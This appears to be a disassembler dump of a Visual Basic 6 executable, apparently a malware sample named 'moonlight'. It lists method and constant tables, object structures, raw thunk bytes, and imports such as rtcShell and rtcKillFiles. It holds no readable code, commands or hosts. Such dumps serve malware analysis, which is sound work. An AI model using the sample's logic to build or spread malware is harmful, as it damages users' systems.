File moonlight_4ee502b0ead248bae0a05466deb54e9bb532a9c41de1480425eb48eacf508e75.exe
Function:
    00404ba0 #21 lpEntry = 0x00407070 ; fn_407070
    00404ba4 #22 lpEntry = 0x004011a6 ; rtcMidCharBstr
    00404ba8 #23 lpEntry = 0x00409724
    00404bac #24 lpEntry = 0x004063d0
    00404bb0 #25 lpEntry = 0x0040711c ; fn_40711c
    00404bb4 #26 lpEntry = 0x004010e6 ; rtcVarBstrFromAnsi
    00404bb8 #27 lpEntry = 0x00401128 ; rtcStringBstr
    00404bbc #28 lpEntry = 0x00407224 ; fn_407224
    00404bc0 #29 lpEntry = 0x00404df0
    00404bc4 #30 lpEntry = 0x004071a0 ; fn_4071a0
    00404bc8 #31 lpEntry = 0x00401122 ; rtcDoEvents
    00404bcc #32 lpEntry = 0x00406cd8
    00404bd0 #33 lpEntry = 0x00407264 ; fn_407264
    00404bd4 #34 lpEntry = 0x00407298 ; fn_407298
    00404bd8 #35 lpEntry = 0x004070d4 ; fn_4070d4
    00404bdc #36 lpEntry = 0x004010f2 ; rtcLeftCharBstr
    00404be0 #37 lpEntry = 0x00404dfc
    00404be4 #38 lpEntry = 0x00404d6c
    00404be8 #39 lpEntry = 0x00404da8
    00404bec #40 lpEntry = 0x004071e4 ; fn_4071e4
    00404bf0 #41 lpEntry = 0x00404dc0
    00404bf4 #42 lpEntry = 0x00404dcc
    00404bf8 #43 lpEntry = 0x00404de4
    00404bfc #44 lpEntry = 0x00409748
    00404c00 #45 lpEntry = 0x00409754
    00404c04 #46 lpEntry = 0x00407620
    00404c08 #47 lpEntry = 0x0040950c
    00404c0c #48 lpEntry = 0x00404dd8
    00404c10 #49 lpEntry = 0x00409764
    00404c14 #50 lpEntry = 0x00409770
    00404c18 #51 lpEntry = 0x00409790
    00404c1c #52 lpEntry = 0x00409798
    00404c20 #53 lpEntry = 0x004097b4
    00404c24 #54 lpEntry = 0x004097c4
    00404c28 #55 lpEntry = 0x004011b2 ; rtcGetDateVar
    00404c2c #56 lpEntry = 0x004011b8 ; rtcHexBstrFromVar
    00404c30 #57 lpEntry = 0x00401182 ; rtcGetTimeVar
    00404c34 #58 lpEntry = 0x004097d0
    00404c38 #59 lpEntry = 0x00409800
    00404c3c #60 lpEntry = 0x004011be ; rtcRightCharBstr
    00404c40 #61 lpEntry = 0x00409818
    00404c44 #62 lpEntry = 0x0040982c
    00404c48 #63 lpEntry = 0x0040983c
    00404c4c #64 lpEntry = 0x004011ac ; rtcGetPresentDate
    00404c50 #65 lpEntry = 0x00408a04
    00404c54 #66 lpEntry = 0x00409854
    00404c58 #67 lpEntry = 0x00409598
    00404c5c #68 lpEntry = 0x004011c4 ; rtcGetDayOfMonth
    00404c60 #69 lpEntry = 0x00407648
    00404c64 #70 lpEntry = 0x00409408
    00404c68 #71 lpEntry = 0x00409864
    00404c6c #72 lpEntry = 0x004011ca ; rtcBstrFromFormatVar
    00404c70 #73 lpEntry = 0x00409888
    00404c74 #74 lpEntry = 0x004098b0
    00404c78 #75 lpEntry = 0x004098f4
    00404c7c #76 lpEntry = 0x004098fc
    00404c80 #77 lpEntry = 0x00409914
    00404c84 #78 lpEntry = 0x0040991c
    00404c88 #79 lpEntry = 0x00409928
    00404c8c #80 lpEntry = 0x0040994c
    00404c90 #81 lpEntry = 0x00409968
    00404c94 #82 lpEntry = 0x00409980
    00404c98 #83 lpEntry = 0x004099a0
    00404c9c #84 lpEntry = 0x004099f4
    00404ca0 #85 lpEntry = 0x00409a48
    00404ca4 #86 lpEntry = 0x00409a58
    00404ca8 #87 lpEntry = 0x00409aa0
    00404cac #88 lpEntry = 0x00409ae8
    00404cb0 #89 lpEntry = 0x0041b008
    00404cb4 #90 lpEntry = 0x00407598
    00404cb8 #91 lpEntry = 0x00404e14
    00404cbc #92 lpEntry = 0x00409b00
    00404cc0 #93 lpEntry = 0x00407310 ; fn_407310
    00404cc4 #94 lpEntry = 0x00401152 ; rtcFreeFile
    00404cc8 #95 lpEntry = 0x004011d0 ; rtcFileLength
    00404ccc #96 lpEntry = 0x0040118e ; rtcSpaceVar
    00404cd0 #97 lpEntry = 0x004011d6 ; rtcImmediateIf
    00404cd4
    00404cd4 struct VBMethodEntry
    00404cd4 lpEntry uint32 0xff143aff
    00404cd8
    00404cd8 struct VBMethodEntry
    00404cd8 lpEntry uint32 0xeffb003e
    00404cdc
    00404cdc struct VBMethodEntry
    00404cdc lpEntry uint32 0xfd60ff24
    00404ce0
    00404ce0 struct VBMethodEntry
    00404ce0 lpEntry uint32 0x05ff38c7
    00404ce4
    00404ce4 struct VBMethodEntry
    00404ce4 lpEntry uint32 0x3c0a0038
    00404ce8
    00404ce8 struct VBMethodEntry
    00404ce8 lpEntry uint32 0x2f000800
    00404cec
    00404cec struct VBMethodEntry
    00404cec lpEntry uint32 0x0636ff38
    00404cf0
    00404cf0 struct VBMethodEntry
    00404cf0 lpEntry uint32 0x3cff5c00
    00404cf4
    00404cf4 struct VBMethodEntry
    00404cf4 lpEntry uint32 0x00ff24ff
    00404cf8
    00404cf8 struct VBMethodEntry
    00404cf8 lpEntry uint32 0x000e7641
    00404cfc
    00404cfc struct VBMethodEntry
    00404cfc lpEntry uint32 0x2a00311b
    00404d00
    00404d00 struct VBMethodEntry
    00404d00 lpEntry uint32 0xf5ff3823
    00404d04
    00404d04 struct VBMethodEntry
    00404d04 lpEntry uint32 0x00000004
    00404d08
    00404d08 struct VBMethodEntry
    00404d08 lpEntry uint32 0x9e003205
    00404d0c
    00404d0c struct VBMethodEntry
    00404d0c lpEntry uint32 0xff34232a
    00404d10
    00404d10 struct VBMethodEntry
    00404d10 lpEntry uint32 0x000006f5
    00404d14
    00404d14 struct VBMethodEntry
    00404d14 lpEntry uint32 0x00320500
    00404d18
    00404d18 struct VBMethodEntry
    00404d18 lpEntry uint32 0x10232a9e
    00404d1c
    00404d1c struct VBMethodEntry
    00404d1c lpEntry uint32 0x003b1bff
    00404d20
    00404d20 struct VBMethodEntry
    00404d20 lpEntry uint32 0x0cc7fd2a
    00404d24
    00404d24 struct VBMethodEntry
    00404d24 lpEntry uint32 0x003805ff
    00404d28
    00404d28 struct VBMethodEntry
    00404d28 lpEntry uint32 0x08003c0a
    00404d2c
    00404d2c struct VBMethodEntry
    00404d2c lpEntry uint32 0x40e110
    00404d30
    00404d30 struct VBMethodEntry
    00404d30 lpEntry uint32 0x40dacc
    00404d34
    00404d34 struct VBMethodEntry
    00404d34 lpEntry uint32 0x40b138
    00404d38
    00404d38 struct VBMethodEntry
    00404d38 lpEntry uint32 0x40b058
    00404d3c
    00404d3c struct VBMethodEntry
    00404d3c lpEntry uint32 0x40afd4
    00404d40
    00404d40 struct VBMethodEntry
    00404d40 lpEntry uint32 0x40e2b8
    00404d44
    00404d44 struct VBMethodEntry
    00404d44 lpEntry uint32 0x40ca2c
    00404d48
    00404d48 struct VBMethodEntry
    00404d48 lpEntry uint32 0x40b0a0
    00404d4c
    00404d4c struct VBMethodEntry
    00404d4c lpEntry uint32 0x40cd1c
    00404d50
    00404d50 struct VBMethodEntry
    00404d50 lpEntry uint32 0x40b4c0
    00404d54
    00404d54 struct VBMethodEntry
    00404d54 lpEntry uint32 0x40c478
    00404d58
    00404d58 struct VBMethodEntry
    00404d58 lpEntry uint32 0x40ce38
    00404d5c
    00404d5c struct VBMethodEntry
    00404d5c lpEntry uint32 0x40b384
    00404d60
    00404d60 struct VBMethodEntry
    00404d60 lpEntry uint32 0x414d84
    00404d64
    00404d64 struct VBMethodEntry
    00404d64 lpEntry uint32 0x40d598
    00404d68
    00404d68 struct VBMethodEntry
    00404d68 lpEntry uint32 0x40b248
    00404d6c
    00404d6c ba 10 e1 40 ...@
    00404d70 00 b9 f4 11 40 00 ff e1 ba cc da 40 00 b9 f4 11 ....@......@....
    00404d80 40 00 ff e1 ba 38 b1 40 00 b9 f4 11 40 00 ff e1 @....8.@....@...
    00404d90 ba 58 b0 40 00 b9 f4 11 40 00 ff e1 ba d4 af 40 .X.@....@......@
    00404da0 00 b9 f4 11 40 00 ff e1 ba b8 e2 40 00 b9 f4 11 ....@......@....
    00404db0 40 00 ff e1 ba 2c ca 40 00 b9 f4 11 40 00 ff e1 @....,.@....@...
    00404dc0 ba a0 b0 40 00 b9 f4 11 40 00 ff e1 ba 1c cd 40 ...@....@......@
    00404dd0 00 b9 f4 11 40 00 ff e1 ba c0 b4 40 00 b9 f4 11 ....@......@....
    00404de0 40 00 ff e1 ba 78 c4 40 00 b9 f4 11 40 00 ff e1 @....x.@....@...
    00404df0 ba 38 ce 40 00 b9 f4 11 40 00 ff e1 ba 84 b3 40 .8.@....@......@
    00404e00 00 b9 f4 11 40 00 ff e1 ba 84 4d 41 00 b9 f4 11 ....@.....MA....
    00404e10 40 00 ff e1 ba 98 d5 40 00 b9 f4 11 40 00 ff e1 @......@....@...
    00404e20 ba 48 b2 40 00 b9 f4 11 40 00 ff e1 .H.@....@...
    00404e2c
    00404e2c struct ObjectInfo
    00404e2c wRefCount int 1
    00404e2e wObjectIndex int 10
    00404e30 lpObjectTable uint32 0x405abc
    00404e34 lpIdeData uint32 0x00000000
    00404e38 lpPrivateObject uint32 0xffffffff
    00404e3c dwReserved uint32 0xffffffff
    00404e40 dwNull uint32 0x00000000
    00404e44 lpObject uint32 0x405cf0
    00404e48 lpProjectData uint32 0x41b220
    00404e4c wMethodCount int 3
    00404e4e wMethodCount2 int 0
    00404e50 lpMethods uint32 0x405138
    00404e54 wConstants int 181
    00404e56 wMaxConstants int 256
    00404e58 lpIdeData2 uint32 0x00000000
    00404e5c lpIdeData3 uint32 0x02de20cc
    00404e60 lpConstants uint32 0x404e64
    00404e64 struct VBConstantEntry[181] ; 0x404e64-0x405138, 181 set, 0 null
    00404e64 #0 lpEntry = 0x00409fd4
    00404e68 #1 lpEntry = 0x00404188
    00404e6c #2 lpEntry = 0x0040a034
    00404e70 #3 lpEntry = 0x00403c20
    00404e74 #4 lpEntry = 0x0040a098
    00404e78 #5 lpEntry = 0x0040a108
    00404e7c #6 lpEntry = 0x0040a124
    00404e80 #7 lpEntry = 0x0040a150
    00404e84 #8 lpEntry = 0x0040a174
    00404e88 #9 lpEntry = 0x0040a190
    00404e8c #10 lpEntry = 0x0040a1a8
    00404e90 #11 lpEntry = 0x0040a1bc
    00404e94 #12 lpEntry = 0x0040a1dc
    00404e98 #13 lpEntry = 0x0040114c ; rtcArray
    00404e9c #14 lpEntry = 0x0040a1fc
    00404ea0 #15 lpEntry = 0x0040a20c
    00404ea4 #16 lpEntry = 0x0040a21c
    00404ea8 #17 lpEntry = 0x0040a22c
    00404eac #18 lpEntry = 0x0040a23c
    00404eb0 #19 lpEntry = 0x0040a250
    00404eb4 #20 lpEntry = 0x0040a064
    00404eb8 #21 lpEntry = 0x0040a074
    00404ebc #22 lpEntry = 0x0040a088
    00404ec0 #23 lpEntry = 0x0040a25c
    00404ec4 #24 lpEntry = 0x0040a270
    00404ec8 #25 lpEntry = 0x0040a284
    00404ecc #26 lpEntry = 0x0040a294
    00404ed0 #27 lpEntry = 0x0040a2a4
    00404ed4 #28 lpEntry = 0x0040a2b0
    00404ed8 #29 lpEntry = 0x0040a2c0
    00404edc #30 lpEntry = 0x0040a2d8
    00404ee0 #31 lpEntry = 0x0040a2f0
    00404ee4 #32 lpEntry = 0x0040a310
    00404ee8 #33 lpEntry = 0x0040a324
    00404eec #34 lpEntry = 0x0040950c
    00404ef0 #35 lpEntry = 0x0040a370
    00404ef4 #36 lpEntry = 0x0040a3b4
    00404ef8 #37 lpEntry = 0x0040a428
    00404efc #38 lpEntry = 0x0040a470
    00404f00 #39 lpEntry = 0x0040a4c0
    00404f04 #40 lpEntry = 0x0040a508
    00404f08 #41 lpEntry = 0x0040a558
    00404f0c #42 lpEntry = 0x0040a600
    00404f10 #43 lpEntry = 0x0040a678
    00404f14 #44 lpEntry = 0x0040a684
    00404f18 #45 lpEntry = 0x0040a6b4
    00404f1c #46 lpEntry = 0x0040a6e0
    00404f20 #47 lpEntry = 0x0040a70c
    00404f24 #48 lpEntry = 0x0040a76c
    00404f28 #49 lpEntry = 0x0040a784
    00404f2c #50 lpEntry = 0x0040a7a8
    00404f30 #51 lpEntry = 0x0040a7c0
    00404f34 #52 lpEntry = 0x0040a5b4
    00404f38 #53 lpEntry = 0x004063b4
    00404f3c #54 lpEntry = 0x0040a5d4
    00404f40 #55 lpEntry = 0x0040a5e4
    00404f44 #56 lpEntry = 0x0040a7d0
    00404f48 #57 lpEntry = 0x0040a7e0
    00404f4c #58 lpEntry = 0x0040a7f0
    00404f50 #59 lpEntry = 0x0040a808
    00404f54 #60 lpEntry = 0x0040a814
    00404f58 #61 lpEntry = 0x0040a824
    00404f5c #62 lpEntry = 0x0040a83c
    00404f60 #63 lpEntry = 0x0040a850
    00404f64 #64 lpEntry = 0x0040a868
    00404f68 #65 lpEntry = 0x0040a87c
    00404f6c #66 lpEntry = 0x0040a890
    00404f70 #67 lpEntry = 0x0040a8a0
    00404f74 #68 lpEntry = 0x0040a8b4
    00404f78 #69 lpEntry = 0x0040a8c0
    00404f7c #70 lpEntry = 0x0040a8d0
    00404f80 #71 lpEntry = 0x0040a8e0
    00404f84 #72 lpEntry = 0x0040a8ec
    00404f88 #73 lpEntry = 0x0040a900
    00404f8c #74 lpEntry = 0x0040a910
    00404f90 #75 lpEntry = 0x0040a928
    00404f94 #76 lpEntry = 0x0040a938
    00404f98 #77 lpEntry = 0x0040a948
    00404f9c #78 lpEntry = 0x0040a95c
    00404fa0 #79 lpEntry = 0x0040a96c
    00404fa4 #80 lpEntry = 0x0040a97c
    00404fa8 #81 lpEntry = 0x0040a98c
    00404fac #82 lpEntry = 0x0040a9a4
    00404fb0 #83 lpEntry = 0x0040a9b0
    00404fb4 #84 lpEntry = 0x0040a9c0
    00404fb8 #85 lpEntry = 0x0040a9d0
    00404fbc #86 lpEntry = 0x0040a9e0
    00404fc0 #87 lpEntry = 0x0040a9f0
    00404fc4 #88 lpEntry = 0x0040aa00
    00404fc8 #89 lpEntry = 0x0040aa20
    00404fcc #90 lpEntry = 0x00407620
    00404fd0 #91 lpEntry = 0x00401116 ; rtcMidCharVar
    00404fd4 #92 lpEntry = 0x0040aa34
    00404fd8 #93 lpEntry = 0x0040aa48
    00404fdc #94 lpEntry = 0x0040aa5c
    00404fe0 #95 lpEntry = 0x0040aa6c
    00404fe4 #96 lpEntry = 0x0040aa7c
    00404fe8 #97 lpEntry = 0x0040aa8c
    00404fec #98 lpEntry = 0x0040aaa0
    00404ff0 #99 lpEntry = 0x00401110 ; rtcRightCharVar
    00404ff4 #100 lpEntry = 0x004010f8 ; rtcUpperCaseVar
    00404ff8 #101 lpEntry = 0x0040aab0
    00404ffc #102 lpEntry = 0x00404170
    00405000 #103 lpEntry = 0x00407648
    00405004 #104 lpEntry = 0x0040aabc
    00405008 #105 lpEntry = 0x004063d0
    0040500c #106 lpEntry = 0x00404e08
    00405010 #107 lpEntry = 0x00401122 ; rtcDoEvents
    00405014 #108 lpEntry = 0x00409b28
    00405018 #109 lpEntry = 0x00409b38
    0040501c #110 lpEntry = 0x00409b48
    00405020 #111 lpEntry = 0x00409b58
    00405024 #112 lpEntry = 0x00409b68
    00405028 #113 lpEntry = 0x00409b78
    0040502c #114 lpEntry = 0x00409b88
    00405030 #115 lpEntry = 0x00409b98
    00405034 #116 lpEntry = 0x00409ba8
    00405038 #117 lpEntry = 0x00409bb8
    0040503c #118 lpEntry = 0x00409bc8
    00405040 #119 lpEntry = 0x00409bd8
    00405044 #120 lpEntry = 0x004099e4
    00405048 #121 lpEntry = 0x004099ec
    0040504c #122 lpEntry = 0x00409b18
    00405050 #123 lpEntry = 0x004090e0
    00405054 #124 lpEntry = 0x00408bd4
    00405058 #125 lpEntry = 0x00408664
    0040505c #126 lpEntry = 0x0040866c
    00405060 #127 lpEntry = 0x00407880
    00405064 #128 lpEntry = 0x00407a44
    00405068 #129 lpEntry = 0x00407448
    0040506c #130 lpEntry = 0x00406b6c
    00405070 #131 lpEntry = 0x00406494
    00405074 #132 lpEntry = 0x00409bf0
    00405078 #133 lpEntry = 0x00409c00
    0040507c #134 lpEntry = 0x00409b30
    00405080 #135 lpEntry = 0x00409b40
    00405084 #136 lpEntry = 0x00409b50
    00405088 #137 lpEntry = 0x00409b60
    0040508c #138 lpEntry = 0x00409b70
    00405090 #139 lpEntry = 0x00409b80
    00405094 #140 lpEntry = 0x00409b90
    00405098 #141 lpEntry = 0x00409ba0
    0040509c #142 lpEntry = 0x00409bb0
    004050a0 #143 lpEntry = 0x00409bc0
    004050a4 #144 lpEntry = 0x00409bd0
    004050a8 #145 lpEntry = 0x00409be0
    004050ac #146 lpEntry = 0x004076b0
    004050b0 #147 lpEntry = 0x00409b10
    004050b4 #148 lpEntry = 0x00409b20
    004050b8 #149 lpEntry = 0x00408d8c
    004050bc #150 lpEntry = 0x00408834
    004050c0 #151 lpEntry = 0x004076c4
    004050c4 #152 lpEntry = 0x004084d4
    004050c8 #153 lpEntry = 0x00407888
    004050cc #154 lpEntry = 0x00407dd8
    004050d0 #155 lpEntry = 0x004070b8
    004050d4 #156 lpEntry = 0x00406840
    004050d8 #157 lpEntry = 0x00409be8
    004050dc #158 lpEntry = 0x00409bf8
    004050e0 #159 lpEntry = 0x00409c08
    004050e4 #160 lpEntry = 0x004084dc
    004050e8 #161 lpEntry = 0x00409c10
    004050ec #162 lpEntry = 0x00409c20
    004050f0 #163 lpEntry = 0x00409c28
    004050f4 #164 lpEntry = 0x00409c38
    004050f8 #165 lpEntry = 0x00409c48
    004050fc #166 lpEntry = 0x00409c58
    00405100 #167 lpEntry = 0x00409c68
    00405104 #168 lpEntry = 0x00409c78
    00405108 #169 lpEntry = 0x00409c88
    0040510c #170 lpEntry = 0x00409de4
    00405110 #171 lpEntry = 0x00409e0c
    00405114 #172 lpEntry = 0x00401152 ; rtcFreeFile
    00405118 #173 lpEntry = 0x004011d0 ; rtcFileLength
    0040511c #174 lpEntry = 0x00409ddc
    00405120 #175 lpEntry = 0x0040aacc
    00405124 #176 lpEntry = 0x0041b128
    00405128 #177 lpEntry = 0x004075b0
    0040512c #178 lpEntry = 0x0040113a ; rtcDir
    00405130 #179 lpEntry = 0x00401146 ; rtcKillFiles
    00405134 #180 lpEntry = 0x004043e0
    00405138
    00405138 struct VBMethodEntry
    00405138 lpEntry uint32 0x415b1c
    0040513c
    0040513c struct VBMethodEntry
    0040513c lpEntry uint32 0x414468
    00405140
    00405140 struct VBMethodEntry
    00405140 lpEntry uint32 0x40bae4
    00405144
    00405144 ba 1c 5b 41 00 b9 f4 11 40 00 ff e1 ..[A....@...
    00405150 ba 68 44 41 00 b9 f4 11 40 00 ff e1 ba e4 ba 40 .hDA....@......@
    00405160 00 b9 f4 11 40 00 ff e1 ....@...
    00405168
    00405168 struct ObjectInfo
    00405168 wRefCount int 1
    0040516a wObjectIndex int 4
    0040516c lpObjectTable uint32 0x405abc
    00405170 lpIdeData uint32 0x00000000
    00405174 lpPrivateObject uint32 0x40b004
    00405178 dwReserved uint32 0xffffffff
    0040517c dwNull uint32 0x00000000
    00405180 lpObject uint32 0x405bd0
    00405184 lpProjectData uint32 0x41b170
    00405188 wMethodCount int 21
    0040518a wMethodCount2 int 0
    0040518c lpMethods uint32 0x405548
    00405190 wConstants int 218
    00405192 wMaxConstants int 256
    00405194 lpIdeData2 uint32 0x00000000
    00405198 lpIdeData3 uint32 0x02db8bd4
    0040519c lpConstants uint32 0x4051e0
    004051a0
    004051a0 struct OptionalObjectInfo
    004051a0 dwObjectGuids int 1
    004051a4 lpObjectGuid uint32 0x4064e4
    004051a8 dwNull uint32 0x00000000
    004051ac lpuuidObjectTypes uint32 0x40559c
    004051b0 dwObjectTypeGuids int 1
    004051b4 lpControls2 uint32 0x4055a4
    004051b8 dwNull2 uint32 0x00000000
    004051bc lpObjectGuids2 uint32 0x4055a0
    004051c0 dwControlCount int 8
    004051c4 lpControls uint32 0x4055a4
    004051c8 wEventCount int 19
    004051ca wPCodeCount uint16 0x01b7
    004051cc bWInitializeEvent uint16 0x0068
    004051ce bWTerminateEvent uint16 0x006c
    004051d0 lpEvents uint32 0x4056e4
    004051d4 lpBasicClassObject uint32 0x41bff8
    004051d8 dwNull3 uint32 0x00000000
    004051dc lpIdeData uint32 0x02d1b800
    004051e0 struct VBConstantEntry[218] ; 0x4051e0-0x405548, 218 set, 0 null
    004051e0 #0 lpEntry = 0x0041b178
    004051e4 #1 lpEntry = 0x00405168
    004051e8 #2 lpEntry = 0x004064d4
    004051ec #3 lpEntry = 0x0041bd18
    004051f0 #4 lpEntry = 0x00406480
    004051f4 #5 lpEntry = 0x00406470
    004051f8 #6 lpEntry = 0x004062f8
    004051fc #7 lpEntry = 0x004063d0
    00405200 #8 lpEntry = 0x00407d4c
    00405204 #9 lpEntry = 0x00405f28 ; fn_405f28
    00405208 #10 lpEntry = 0x00405f98 ; fn_405f98
    0040520c #11 lpEntry = 0x0040112e ; rtcLeftCharVar
    00405210 #12 lpEntry = 0x0041b008
    00405214 #13 lpEntry = 0x00405fe4 ; fn_405fe4
    00405218 #14 lpEntry = 0x0041b018
    0040521c #15 lpEntry = 0x004010f8 ; rtcUpperCaseVar
    00405220 #16 lpEntry = 0x00407d60
    00405224 #17 lpEntry = 0x00407d74
    00405228 #18 lpEntry = 0x00401170 ; rtcShell
    0040522c #19 lpEntry = 0x00404170
    00405230 #20 lpEntry = 0x004010e6 ; rtcVarBstrFromAnsi
    00405234 #21 lpEntry = 0x00407d90
    00405238 #22 lpEntry = 0x0041b07c
    0040523c #23 lpEntry = 0x00407dac
    00405240 #24 lpEntry = 0x0041b06c
    00405244 #25 lpEntry = 0x00406504
    00405248 #26 lpEntry = 0x00407dc4
    0040524c #27 lpEntry = 0x00407bd0
    00405250 #28 lpEntry = 0x00407be4
    00405254 #29 lpEntry = 0x00403e40
    00405258 #30 lpEntry = 0x00403fc0
    0040525c #31 lpEntry = 0x00407f7c
    00405260 #32 lpEntry = 0x004041ac
    00405264 #33 lpEntry = 0x0041b0f0
    00405268 #34 lpEntry = 0x00407f8c
    0040526c #35 lpEntry = 0x004063b4
    00405270 #36 lpEntry = 0x00406288 ; fn_406288
    00405274 #37 lpEntry = 0x00407f98
    00405278 #38 lpEntry = 0x0040417c
    0040527c #39 lpEntry = 0x00407fa8
    00405280 #40 lpEntry = 0x00404188
    00405284 #41 lpEntry = 0x0040389c
    00405288 #42 lpEntry = 0x0041b0e4
    0040528c #43 lpEntry = 0x0041b03c
    00405290 #44 lpEntry = 0x00407fc8
    00405294 #45 lpEntry = 0x0041b04c
    00405298 #46 lpEntry = 0x00401116 ; rtcMidCharVar
    0040529c #47 lpEntry = 0x00407fe0
    004052a0 #48 lpEntry = 0x0041b05c
    004052a4 #49 lpEntry = 0x00408024
    004052a8 #50 lpEntry = 0x00408068
    004052ac #51 lpEntry = 0x0040414c
    004052b0 #52 lpEntry = 0x004067bc
    004052b4 #53 lpEntry = 0x0041b110
    004052b8 #54 lpEntry = 0x0041b01c
    004052bc #55 lpEntry = 0x0040116a ; rtcSetFileAttr
    004052c0 #56 lpEntry = 0x0041b128
    004052c4 #57 lpEntry = 0x00401176 ; rtcMakeDir
    004052c8 #58 lpEntry = 0x004080a8
    004052cc #59 lpEntry = 0x0041b0e8
    004052d0 #60 lpEntry = 0x004080c8
    004052d4 #61 lpEntry = 0x0041b0ec
    004052d8 #62 lpEntry = 0x00405f74
    004052dc #63 lpEntry = 0x004041a0
    004052e0 #64 lpEntry = 0x004080e0
    004052e4 #65 lpEntry = 0x004080f0
    004052e8 #66 lpEntry = 0x00408100
    004052ec #67 lpEntry = 0x00408110
    004052f0 #68 lpEntry = 0x0040649c
    004052f4 #69 lpEntry = 0x00408140
    004052f8 #70 lpEntry = 0x0040815c
    004052fc #71 lpEntry = 0x0040817c
    00405300 #72 lpEntry = 0x0040819c
    00405304 #73 lpEntry = 0x004081b8
    00405308 #74 lpEntry = 0x004081d4
    0040530c #75 lpEntry = 0x004081f4
    00405310 #76 lpEntry = 0x00408478
    00405314 #77 lpEntry = 0x004084ac
    00405318 #78 lpEntry = 0x00403c2c
    0040531c #79 lpEntry = 0x004084c4
    00405320 #80 lpEntry = 0x00401110 ; rtcRightCharVar
    00405324 #81 lpEntry = 0x004084d4
    00405328 #82 lpEntry = 0x004084dc
    0040532c #83 lpEntry = 0x004084e4
    00405330 #84 lpEntry = 0x00408564
    00405334 #85 lpEntry = 0x00408554
    00405338 #86 lpEntry = 0x00408588
    0040533c #87 lpEntry = 0x004085f8
    00405340 #88 lpEntry = 0x00408634
    00405344 #89 lpEntry = 0x00408608
    00405348 #90 lpEntry = 0x00408650
    0040534c #91 lpEntry = 0x00408674
    00405350 #92 lpEntry = 0x004086ac
    00405354 #93 lpEntry = 0x00408698
    00405358 #94 lpEntry = 0x004086c8
    0040535c #95 lpEntry = 0x004086dc
    00405360 #96 lpEntry = 0x00408714
    00405364 #97 lpEntry = 0x00408778
    00405368 #98 lpEntry = 0x00408788
    0040536c #99 lpEntry = 0x004087d8
    00405370 #100 lpEntry = 0x0040883c
    00405374 #101 lpEntry = 0x004088ac
    00405378 #102 lpEntry = 0x004088cc
    0040537c #103 lpEntry = 0x004088e4
    00405380 #104 lpEntry = 0x00408934
    00405384 #105 lpEntry = 0x00408958
    00405388 #106 lpEntry = 0x00408968
    0040538c #107 lpEntry = 0x00408a1c
    00405390 #108 lpEntry = 0x0040881c
    00405394 #109 lpEntry = 0x004087fc
    00405398 #110 lpEntry = 0x00408a3c
    0040539c #111 lpEntry = 0x00408a58
    004053a0 #112 lpEntry = 0x00408a74
    004053a4 #113 lpEntry = 0x00408ad4
    004053a8 #114 lpEntry = 0x00408ae4
    004053ac #115 lpEntry = 0x00408b00
    004053b0 #116 lpEntry = 0x00408b20
    004053b4 #117 lpEntry = 0x00408b40
    004053b8 #118 lpEntry = 0x00408b50
    004053bc #119 lpEntry = 0x00408b60
    004053c0 #120 lpEntry = 0x00408b74
    004053c4 #121 lpEntry = 0x00408b88
    004053c8 #122 lpEntry = 0x00408bb4
    004053cc #123 lpEntry = 0x00408bc4
    004053d0 #124 lpEntry = 0x00408bdc
    004053d4 #125 lpEntry = 0x00408c04
    004053d8 #126 lpEntry = 0x00408c28
    004053dc #127 lpEntry = 0x00408c4c
    004053e0 #128 lpEntry = 0x00408c70
    004053e4 #129 lpEntry = 0x00408c88
    004053e8 #130 lpEntry = 0x00408ca8
    004053ec #131 lpEntry = 0x00408cc0
    004053f0 #132 lpEntry = 0x00408cec
    004053f4 #133 lpEntry = 0x00408d0c
    004053f8 #134 lpEntry = 0x00408d20
    004053fc #135 lpEntry = 0x00408d34
    00405400 #136 lpEntry = 0x00408d48
    00405404 #137 lpEntry = 0x00408d58
    00405408 #138 lpEntry = 0x00408d6c
    0040540c #139 lpEntry = 0x00408d94
    00405410 #140 lpEntry = 0x00408db4
    00405414 #141 lpEntry = 0x00408dd4
    00405418 #142 lpEntry = 0x00408df8
    0040541c #143 lpEntry = 0x00408e18
    00405420 #144 lpEntry = 0x00408e3c
    00405424 #145 lpEntry = 0x00408e60
    00405428 #146 lpEntry = 0x00408e78
    0040542c #147 lpEntry = 0x00408e8c
    00405430 #148 lpEntry = 0x00408eb0
    00405434 #149 lpEntry = 0x00408ed4
    00405438 #150 lpEntry = 0x00408ee8
    0040543c #151 lpEntry = 0x00408efc
    00405440 #152 lpEntry = 0x00408f10
    00405444 #153 lpEntry = 0x0040114c ; rtcArray
    00405448 #154 lpEntry = 0x00403c20
    0040544c #155 lpEntry = 0x00401146 ; rtcKillFiles
    00405450 #156 lpEntry = 0x00403c08
    00405454 #157 lpEntry = 0x00408f28
    00405458 #158 lpEntry = 0x00408f54
    0040545c #159 lpEntry = 0x00408f78
    00405460 #160 lpEntry = 0x00408f8c
    00405464 #161 lpEntry = 0x00408fa0
    00405468 #162 lpEntry = 0x00408fc0
    0040546c #163 lpEntry = 0x00408ff4
    00405470 #164 lpEntry = 0x00409018
    00405474 #165 lpEntry = 0x00409038
    00405478 #166 lpEntry = 0x00409054
    0040547c #167 lpEntry = 0x00409068
    00405480 #168 lpEntry = 0x004075cc
    00405484 #169 lpEntry = 0x0040669c ; fn_40669c
    00405488 #170 lpEntry = 0x00405ee4
    0040548c #171 lpEntry = 0x00404398
    00405490 #172 lpEntry = 0x0040515c
    00405494 #173 lpEntry = 0x00409084
    00405498 #174 lpEntry = 0x0040117c ; rtcCreateObject2
    0040549c #175 lpEntry = 0x0041b19c
    004054a0 #176 lpEntry = 0x0040438c
    004054a4 #177 lpEntry = 0x004090e8
    004054a8 #178 lpEntry = 0x004090c0
    004054ac #179 lpEntry = 0x0040113a ; rtcDir
    004054b0 #180 lpEntry = 0x00409118
    004054b4 #181 lpEntry = 0x00401182 ; rtcGetTimeVar
    004054b8 #182 lpEntry = 0x00409138
    004054bc #183 lpEntry = 0x00401188 ; rtcVarFromFormatVar
    004054c0 #184 lpEntry = 0x00409144
    004054c4 #185 lpEntry = 0x00403904
    004054c8 #186 lpEntry = 0x00403b48
    004054cc #187 lpEntry = 0x00404164
    004054d0 #188 lpEntry = 0x0040677c
    004054d4 #189 lpEntry = 0x00401122 ; rtcDoEvents
    004054d8 #190 lpEntry = 0x004091ec
    004054dc #191 lpEntry = 0x00406234 ; fn_406234
    004054e0 #192 lpEntry = 0x00406114 ; fn_406114
    004054e4 #193 lpEntry = 0x00409214
    004054e8 #194 lpEntry = 0x004061f0 ; fn_4061f0
    004054ec #195 lpEntry = 0x00409248
    004054f0 #196 lpEntry = 0x0040926c
    004054f4 #197 lpEntry = 0x00409288
    004054f8 #198 lpEntry = 0x00409290
